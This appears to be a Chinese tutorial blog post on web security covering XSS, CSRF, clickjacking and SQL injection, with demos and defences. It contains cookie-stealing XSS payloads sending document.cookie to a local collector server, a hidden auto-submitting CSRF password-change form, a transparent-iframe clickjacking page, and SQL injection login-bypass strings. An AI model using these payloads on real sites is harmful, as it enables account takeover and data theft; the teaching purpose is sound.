web常见安全问题

前端 0 1061 0
发表于: 2021-05-26 19:54:43

简介: 暂无~

Xss攻击

Xss(cross site scripting)跨站脚本攻击,为了和css区分,所以缩写是xss。

XSS是注入攻击的一种,攻击者通过将代码注入被攻击者的网站中,用户一旦访问访问网页便会执行被注入的恶意脚本。

XSS原理

xss攻击个人认为主要出现在服务端渲染,因为如果是客户端渲染,客户端渲染的话一般都会对输入的内容转义,所以服务端渲染基本碰不到存在xss漏洞的网站,

如果是服务端渲染,那就不一样了,因为如果我前端在输入框里输入的不是普通字符串,而是输入了一串js代码,或者有些网站是会根据地址栏上的参数进行渲染,我url上面的参数值没有写普通字符串,而是直接写js语句,如果后端没做处理,就将前端的js代码渲染在了html上面,最终访问网站,后端就会返回如下的html页面:

<div>
    <h1>留言板</h1>
    <ul>
        <li>
            你好啊
        </li>
        <li>
            <img src="不存在的地址1" onerror="window.location.href='http://www.github.com';" alt="">
        </li>
        <li>
            <script>window.location.href = "http://localhost:3000/js_xss?" + document.cookie;</script>
        </li>
        <li>
            <script>
                var imgEl = new Image();
                imgEl.src = "http://localhost:3000/img_xss?" + document.cookie;
                imgEl.style.display = 'none';
                document.body.appendChild(imgEl);
            </script>
        </li>
        <li>
            <script>
                var scriptEl = document.createElement("script");
                scriptEl.type = "text/javascript";
                scriptEl.src = "http://localhost:3000/js_xss?" + document.cookie;
                document.body.appendChild(scriptEl);
            </script>
        </li>
    </ul>
</div>

当浏览器解析到这些可执行语句的时候,就会执行,后果可想而知。

类型

反射型(非持久型)

一般会通过URL注入攻击脚本,只有当用户访问这个URL是才会执行攻击脚本。

存储型(持久型)

恶意代码被保存到目标网站的服务器中,比如用户留言的时候输入了一串js代码,然后发表留言的时候,这串js代码会保存到数据库,等下次再访问该网站的时候,网站会获取留言列表,如果你的那条恶意代码的留言显示在了页面上,就会执行你的那串恶意代码。这样的危害非常大,只要是访问该网站的都有可能受到影响。

防范

HTML转义

防范XSS攻击最主要的方法是对用户输入的内容进行HTML转义,转义后可以确保用户输入的内容在浏览器中作为文本显示,而不是作为代码解析。

验证用户输入

XSS攻击可以在任何用户可定制内容的地方进行,如下:

<a href=”{{url}}”>Website</a>

其中{{url}}部分表示会被替换为用户输入的url变量值。如果不对URL进行验证,那么用户就可以写入javaScript代码,比如javascript:alert(‘Bingo!’);。因为这个值并不包含会被转义的<和>。最终页面上的连接代码会变为:

<a href="javascript:alert('Bingo!');">Website</a>

当用户单击这个链接时,浏览器就会执行被href属性中设置的攻击代码。

另外,程序还允许用户设置头像图片的URL。这个图片通过下面的方式显示:

<img src="{{url}}">

类似的,{{url}}部分表示会被替换为用户输入的url变量值。如果不对输入的URL进行验证,那么用户可以将url设为"xxx" onerror=“alert(‘Bingo!’)”,最终的img标签就会变为:

<img src="xxx" onerror="alert('Bingo!')">

在这里因为src中传入了一个错误的URL,浏览器变回执行onerror属性中设置的javaScript代码。

可以使用功能单引号或者双引号,将用户的输入转成字符串,再渲染到html上。

设置cookie的HTTPOnly属性

JavaScript Document.cookie API 无法访问带有 HttpOnly 属性的cookie;此类 Cookie 仅作用于服务器。例如,持久化服务器端会话的 Cookie 不需要对 JavaScript 可用,而应具有 HttpOnly 属性。此预防措施有助于缓解跨站点脚本(XSS)攻击。

Csrf攻击

CSRF(Cross-site request forgery)跨站请求伪造

简单来讲就是攻击者(黑客,钓鱼网站)盗用了你的身份,以你的名义发送恶意请求,这些请求包括发送邮件、发送消息、盗取账号、购买商品、银行转账

Csrf原理

个人认为,Csrf攻击的原理就是利用了发起请求时,浏览器会自动带上一些存在客户端的值,比如cookie。众所周知,http协议是无状态的,在那个古老的年代,很多网站都将用户登录成功时候返回的登录状态(如token)存进cookie里,然后客户端发起请求时,啥都不用干,照常发请求,因为发请求时,浏览器会自动带上cookie,后端在接收到请求时,就会判断cookie是否合法或者过期等等,如果判断无误,就会返回用户操作结果。从上面的流程可以看出,所有的操作都是根据cookie的,即后端收到请求,谁都不认,就认cookie,cookie对就返回结果,因此,就衍生出了Csrf攻击,最最低级的Csrf攻击就是所谓的钓鱼网站,什么是钓鱼网站?首先要完成Csrf攻击,首先要满足以下条件:

  1. 该网站存在Csrf漏洞(重要条件)
  2. 浏览器没有做安全限制(重要条件)
  3. 该用户防范意识不足(次要条件)

当满足了上面的一二点后,那么其实用户被钓鱼的记录就大大提高了,因为大部分人都不会想到,点一下链接,自己的数据就被篡改了。

用通俗案例模拟整体流程:

  1. 某公司开发了一个网站,该网站有新人活动,新人注册登录即可直接返十块钱红包(即白嫖),但该网站存在Csrf漏洞。

    该网站的前端:最终部署在:https://www.zhengbeining.com/csrf/下

    <template>
      <div>
        <h1 style="color: red">Csrf测试网站</h1>
        <h1>当前用户信息:{{ info }}</h1>
        <div style="width: 500px" v-if="!loginOk">
          <el-form ref="form" :model="info" label-width="80px">
            <el-form-item label="账号">
              <el-input v-model="info.username"></el-input>
            </el-form-item>
            <el-form-item label="密码">
              <el-input type="password" v-model="info.password"></el-input>
            </el-form-item>
            <el-form-item label="">
              <el-button type="success" @click="login">登录</el-button>
              <el-button type="primary" @click="register">注册</el-button>
            </el-form-item>
          </el-form>
        </div>
        <div v-else>
          <h2>登录成功</h2>
          <div style="width: 500px">
            新密码:<el-input type="password" v-model="newpassword"></el-input>
            <el-button type="danger" @click="edit">修改</el-button>
          </div>
        </div>
      </div>
    </template>
    
    
    
    <script>
    import Cookies from "js-cookie";
    import axios from "axios";
    export default {
      components: {},
      data() {
        return {
          info: {
            username: "",
            password: "",
          },
          newpassword: "",
          loginOk: false,
        };
      },
      mounted() {
        this.loginOk = Cookies.get("token");
        if (this.loginOk) {
          console.log("cookie有token,获取用户信息");
          this.getUserInfo();
        } else {
          console.log("cookie没有token");
        }
      },
      methods: {
        getUserInfo() {
          axios
            // .get("/api/getUserInfo", {
            .get("https://www.zhengbeining.com/csrf/getUserInfo", {
              params: { token: Cookies.get("token") },
            })
            .then((res) => {
              console.log(res);
              if (res.data.code == 200) {
                delete res.data.info.token;
                this.info = Object.assign({}, this.info, res.data.info);
                this.loginOk = true;
                this.$message.success(res.data.msg);
              } else {
                this.loginOk = false;
                Cookies.remove("token");
                this.$message.error(res.data.msg);
              }
            })
            .catch((err) => {
              console.log(err);
            });
        },
        login() {
          axios
            // .post("/api/login", {
            .post("https://www.zhengbeining.com/csrf/login", {
              ...this.info,
            })
            .then((res) => {
              if (res.data.code == 200) {
                this.$message.success(res.data.msg);
                Cookies.set("token", res.data.info.token);
                delete res.data.info.token;
                this.info = Object.assign({}, this.info, res.data.info);
                this.loginOk = true;
              } else {
                this.$message.error(res.data.msg);
              }
            })
            .catch((err) => {
              console.log(err);
            });
        },
        register() {
          axios
            // .post("/api/register", {
            .post("https://www.zhengbeining.com/csrf/register", {
              ...this.info,
            })
            .then((res) => {
              if (res.data.code == 200) {
                this.$message.success(res.data.msg);
                // this.info = Object.assign({}, this.info, res.data.info);
                // Cookies.set("token", res.data.token);
                // this.loginOk = true;
              } else {
                this.$message.error(res.data.msg);
              }
            })
            .catch((err) => {
              console.log(err);
            });
        },
        edit() {
          if (this.newpassword.length < 6) {
            this.$message.error("密码需要大于6位数");
            return;
          }
          axios
            // .post("/api/edit", {
            .post("https://www.zhengbeining.com/csrf/edit", {
              password: this.newpassword,
            })
            .then((res) => {
              if (res.data.code == 200) {
                Cookies.remove("token");
                // this.$data = this.$options.data();
                Object.assign(this.$data, this.$options.data());
                this.$message.success(res.data.msg);
              } else {
                this.$message.error(res.data.msg);
              }
            })
            .catch((err) => {
              console.log(err);
            });
        },
      },
    };
    </script>
    
    <style>
    </style>
    

    该网站的后端:最终还是部署在https://www.zhengbeining.com/csrf/下。

    let express = require('express')
    const { v4: uuidv4 } = require('uuid');
    const connection = require('./app/database');
    
    // 解析post请求的body数据
    let app = express()
    app.use(express.json())
    app.use(express.urlencoded({ extended: false }))
    
    
    app.all("*", function (req, res, next) {
      //设置允许跨域的域名,*代表允许任意域名跨域
      res.header("Access-Control-Allow-Origin", "*");
      //允许的header类型
      res.header("Access-Control-Allow-Headers", "Content-Type,authorization,request-origin");
      //跨域允许的请求方式 
      res.header("Access-Control-Allow-Methods", "DELETE,PUT,POST,GET,OPTIONS");
      if (req.method.toLowerCase() == 'options')
        res.send(200);  //让options尝试请求快速结束
      else
        next();
    })
    
    // 静态文件目录
    app.use(express.static('public'))
    var router = express.Router()
    
    // Xss攻击,获取cookie
    app.use('/', router.get('/img_xss', async (req, res, next) => {
      console.log('img_xss攻击成功,拿到cookie:', req.query)
      res.end('img_xss-ok')
    }))
    
    // Xss攻击,获取cookie
    app.use('/', router.get('/js_xss', async (req, res, next) => {
      console.log('js_xss攻击成功,拿到cookie:', req.query)
      res.end('js_xss-ok')
    }))
    
    // 获取用户信息
    app.use('/', router.get('/getUserInfo', async (req, res, next) => {
      console.log('login')
      let statement = `SELECT * FROM user WHERE token = ?`;
      let [result] = await connection.execute(statement, [req.query.token]);
      if (result[0]) {
        res.json({ code: 200, msg: '获取用户信息成功', info: result[0] })
      } else {
        res.json({ code: 400, msg: 'token错误,获取用户信息失败' })
      }
    
    }))
    
    // 注册
    app.use(router.post('/register', async (req, res, next) => {
      console.log('register')
      const { username, password } = req.body;
      let statement = `SELECT * FROM user WHERE username = ?;`;
      let [result] = await connection.execute(statement, [username]);
      if (!result[0]) {
        let statement = `INSERT INTO user (username, password , token, createdTime) VALUES (?, ?, ?);`;
        await connection.execute(statement, [username, password, null, new Date() + '']);
        res.json({ code: 200, msg: '注册成功' })
      } else {
        res.json({ code: 400, msg: '用户名:' + username + ',已经被注册了' })
      }
    }))
    
    // 登录
    app.use('/', router.post('/login', async (req, res, next) => {
      console.log('login')
      let { username, password } = req.body
      let statement = `SELECT * FROM user WHERE username = ? and password = ?`;
      let [result] = await connection.execute(statement, [username, password]);
      if (!result[0]) {
        res.json({ code: 400, msg: '用户名密码错误' })
      } else {
        let statement = `UPDATE user SET token = ? WHERE id = ?;`;
        await connection.execute(statement, [uuidv4(), result[0].id]);
        let info = await connection.execute(`SELECT * FROM user WHERE id = ${result[0].id}`);
        res.json({ code: 200, msg: '登录成功', info: info[0][0] })
      }
    }))
    
    // 修改密码
    app.use('/', router.post('/edit', async (req, res, next) => {
      console.log('edit')
      var Cookies = {};
      if (req.headers.cookie != null) {
        req.headers.cookie.split(';').forEach(l => {
          var parts = l.split('=');
          Cookies[parts[0].trim()] = (parts[1] || '').trim();
        });
      }
      let info = await connection.execute(`SELECT * FROM user WHERE token = ?`, [Cookies.token]);
      // console.log(info[0][0].id)
      let statement = `UPDATE user SET password =  ? WHERE token = ?;`;
      let [result] = await connection.execute(statement, [req.body.password, Cookies.token]);
      console.log(result)
      if (result.affectedRows == 0) {
        res.json({ code: 400, msg: 'token错误,修改密码失败' })
      } else {
        let statement = `UPDATE user SET token = ? , updatedTime = ? WHERE id = ?;`;
        await connection.execute(statement, [uuidv4(), new Date() + '', info[0][0].id]);
        res.json({ code: 200, msg: '修改密码成功' })
      }
    }))
    
    
    app.listen('7000', function () {
      console.log('http://localhost:7000', 'running....')
    })
    
  2. 某骗子知道该网站漏洞后,在网上大肆宣传该网站新人返利活动,然后让用户添加自己的微信以获取更多白嫖福利。

  3. 用户a添加了骗子,骗子让他注册登录后,截登录成功的图发给骗子,然后骗子再告诉用户下一步怎么做。

  4. 用户a注册登录了(即发起过https://www.zhengbeining.com/csrf/login请求了,然后将token设置在https://www.zhengbeining.com这个域名下的cookie里),截图发给了骗子,这样骗子就确定了改用户登录了,登录信息肯定保存在cookie了,然后骗子因为在这个网站里面修改过密码,知道这个网站修改用户密码是发起一个post请求,带上password这个参数就可以了,后端服务端会判断cookie,并且只认cookie,cookie合法就使用传过来的password改掉数据库的密码,如果cookie不合法,就返回错误。

  5. 这时候骗子开始操作了,发了一个链接给用户a,让用户a点击这个链接看看活动规则,但是这个是钓鱼链接,具体代码如下:

    <!DOCTYPE html>
    <html lang="en">
    
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Document</title>
    </head>
    
    <body>
        <form class="csrf" action="http://localhost:3000/edit" method="post" target="iframe" style="display: none;">
            <input type="text" name="password" value="999" />
        </form>
        <iframe name="iframe" style="display: none;"></iframe>
    
        <script>
            var el = document.getElementsByClassName("csrf")[0]
            el.submit()
        </script>
    </body>
    
    </html>
    

    这个链接打开其实是一片空白,它却会发起了一个表单请求,发起了一个post请求:http://localhost:3000/edit,并且将password的值设为了999,然后submit提交,而且提交是弹出一个iframe嵌套窗口,但是这个窗口设置了隐藏样式,就感觉啥都看不出来,就是一片空白。

  6. 用户a点击链接后,虽然一片空白,但是却背地里发起了一个post请求,而且由于用户登录成功了,token保存在cookie里了,现在再次发起的请求https://www.zhengbeining.com/edit还是https://www.zhengbeining.com的,于是,只要是同一个浏览器,用户之前在这里登录过了,留下了cookie,且这个cookie还没过期(一般cookie不会这么快过期,而且用户也是刚登录完不久就点击了骗子链接),再次发起https://www.zhengbeining.com/edit的时候,不管当前的骗子链接是怎样的,浏览器都会发起http://localhost:3000/edit请求,并且,浏览器会找自己有没有存在https://www.zhengbeining.com这个域名下的数据,比如:cookie,如果有的话就会带上,而恰巧,之前https://www.zhengbeining.com/login登陆成功的时候就保存了token在cookie里,因此,浏览器会带上这个cookie(即token)传给后端。

防范

Cookie Hashing

应该是最简单的解决方案了,因为虽然发起http请求会带上浏览器同域下的cookie,但是,是发起请求才会自动带上同域的cookie,怎么理解,简单举个例子,比如我浏览器打开了aaa.com和bbb.com两个网页,我在aaa.com发起了一个bbb.com/login的请求,因为浏览器的原因,会自动带上bbb里面的cookie,但是,并不意味这我在aaa.com可以拿到bbb.com的cookie,只是在aaa.com发起bbb的请求的时候,会带上bbb.com下的cookie而已,所以,为了预防csrf攻击,可以在发起请求的时候,带上一个根据cookie构造出来的hash值:

这是bbb网站的表单代码

<form method=”POST” action=”bbb.com/login”>
	<input type=”text” name=”toBankId”>
	<input type=”text” name=”money”>
	<input type=”hidden” name=”hash” value=”{{hashcookie}}”>
	<input type=”submit” name=”submit” value=”Submit”>
</form>

这样的话,在bbb发起请求,bbb可以访问自己域名下面的cookie,因此发起请求后,后端可以接收到表单里面的hash值,但是,如果是别人aaa.com里面发起的bbb/login请求的话,虽然aaa.com可以构造表达里面的其他参数,但是无法拿到bbb的cookie,所以就不可能根据cookie构造出hash值!后端就可以根据这一点,再通过hash值解密,判断前端传过来的hash是否合法。

后端验证HTTP的Referer 和Origin字段

  • referer属性

记录了该http请求的来源地址,但有些场景不适合将来源URL暴露给服务器,所以可以设置不用上传,并且referer属性是可以修改的,所以在服务器端校验referer属性并没有那么可靠

  • origin属性

通过XMLHttpRequest、Fetch发起的跨站请求或者Post方法发送请求时,都会带上origin,所以服务器可以优先判断Origin属性,再根据实际情况判断是否使用referer判断。

后端使用cookie的SameSite属性

后端响应请求时,set-cookie添加SameSite属性。

SameSite选项通常由Strict、Lax和None三个值

  • Strict最为严格,如果cookie设置了Strict,那么浏览器会完全禁止第三方Cookie。
  • Lax相对宽松一点,在跨站点的情况下,从第三方站点的链接打开和从第三方站点提交Get的表单都会携带cookie.但是如果在第三方站点中使用Post方法或者通过img、iframe等标签加载的URL,都不会携带Cookie。
  • None, 任何情况下都会发送Cookie。

csrfToken

  • 在浏览器向服务器发起请求时,服务器生成一个CSRF Token(字符串)发送给浏览器,然后将该字符串放入页面中
  • 浏览器请求时(如表单提交)需要带上这个CSRF Token。服务器收到请求后,验证CSRF是否合法,如果不合法拒绝即可。

使用token 并验证

既然浏览器会自动带上同域的cookie,那么将登录信息就不存cookie里面,存localstorage里,发起网络请求的时候,不会默认带上同域的localstorage,然后将登录信息存在localstorage里面,在请求的时候,手动带上这个localstorage,后端再进行判断就可以了。

点击劫持

原理

将要攻击的网站通过 iframe 嵌套的方式嵌入自己的网页中,并将 iframe 设置为透明,在页面中透出一个按钮诱导用户点击。点击按钮实际点击的是iframe里面的东西。

举个例子:比如我在b站发了一个视频,我希望别人都给我一键三连,但是很明显很多人都是喜欢白嫖,不会点击一键三连,我就使用iframe,将b站嵌入我的一个网站里面,然后把iframe设置透明,用定位把一个按钮定位到一键三连的位置那里,并且把网站设置的吸引人一点,比如点击抽奖或者点击获取最新信息等等,这样别人点击了按钮,实际上点击的是iframe的一键三连按钮,这样就达到了我的目的。

ps:但实际上点击一键三连都需要登录,如果iframe获取不到你之前在b站的登录状态,也是白搭。而且在现在的2021年,对iframe的限制也越来越多,比如从谷歌浏览器的Chrome 80版本后面开始,浏览器的Cookie新增加了一个SameSite属性,用来防止CSRF攻击和用户追踪。该功能默认已开启(SameSite:Lax)。即iframe拿不到外面的cookie了。

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        .wrap {
            position: relative;
        }

        .iframe {
            position: absolute;
            width: 600px;
            height: 600px;
            /* opacity: 0.5; */
            opacity: 0;
        }

        .img {
            position: absolute;
            width: 600px;
            height: 600px;
            background-color: pink;
        }

        .btn {
            position: absolute;
            bottom: 96px;
            left: 6px;
            display: inline-block;
            padding: 10px 20px;
            background-color: yellow;
            border-radius: 4px;
        }
    </style>
</head>

<body>
    <div class="wrap">
        <div class="img">
            <span class="btn">click</span>
        </div>
        <iframe class="iframe" src="https://www.zhengbeining.com/csrf/" frameborder="0"></iframe>
    </div>
</body>

</html>

防范

设置http头部X-Frame-Options字段

  1. DENY // 拒绝任何域加载
  2. SAMEORIGIN // 允许同源域下加载
  3. ALLOW-FROM // 可以定义允许frame加载的页面地址

可以设置值为deny,设置后,就会拒绝任何域的加载,如果别人iframe嵌入了,浏览器控制台就会报错:

Refused to display ‘https://www.zhengbeining.com/’ in a frame because it set ‘X-Frame-Options’ to ‘deny’.

sql注入

原理

其实就是利用恶意的sql查询或添加语句插入到应用的输入参数中,具体看案例:

如果后端是这样拼接sql的话:

let username = 'admin'
let password = 999
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '999'

上面的sql就是要找user里面,用户名是admin,密码是999的所有数据。

但是如果用户这样输入用户名密码:

let username = 'admin'
let password = "1 'or '1'='1"
let sql = `select * from user where username = '${username}' and password = '${password}'`
// select * from user where username = 'admin' and password = '1 'or '1'='1'

上面的sql是查找user里面,用户名是admin,密码是1,或者1=1的所有数据,不管有没有找到用户名是admin,密码是1的数据,但是后面的1=1是一定成立的,而且前面的条件和后面的条件中间用的是or,所以,只要满足:(用户名是admin,密码是1)或者(1=1)的其中一个或者都满足,就会查询user里面的数据,这里是一定可以查询到数据的!

或者用户这样输入用户名密码:

let username = "admin' -- "
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql)  //select * from user where username = 'admin' -- ' and password = '234'
let username = "admin' #"
let password = "234"
let sql = `select * from user where username = '${username}' and password = '${password}'`
console.log(sql)  //select * from user where username = 'admin' #' and password = '234'

上面两个sql语句都是利用了sql里面的注释达到sql注入的。

防范

后端对前端提交内容进行规则限制

比如:正则表达式

不要使用字符串拼接

使用一些工具拼接,比如node后端可以使用mysql2里面的query或execute

const conn = await mysql.createConnection({
  host: 'xxxxxxxxxxxxxx.mysql.rds.aliyuncs.com',
  user: '<数据库用户名>',
  password: '<数据库密码>',
  database: '<数据库名称>',
  charset: 'utf8mb4'
})
const [rows, fields] = await conn.query(
  'SELECT * FROM `user` where id in (?)',
  [userIds])
const [rows] = await conn.execute(
  'SELECT * FROM `user` where id = ?',
  [userId])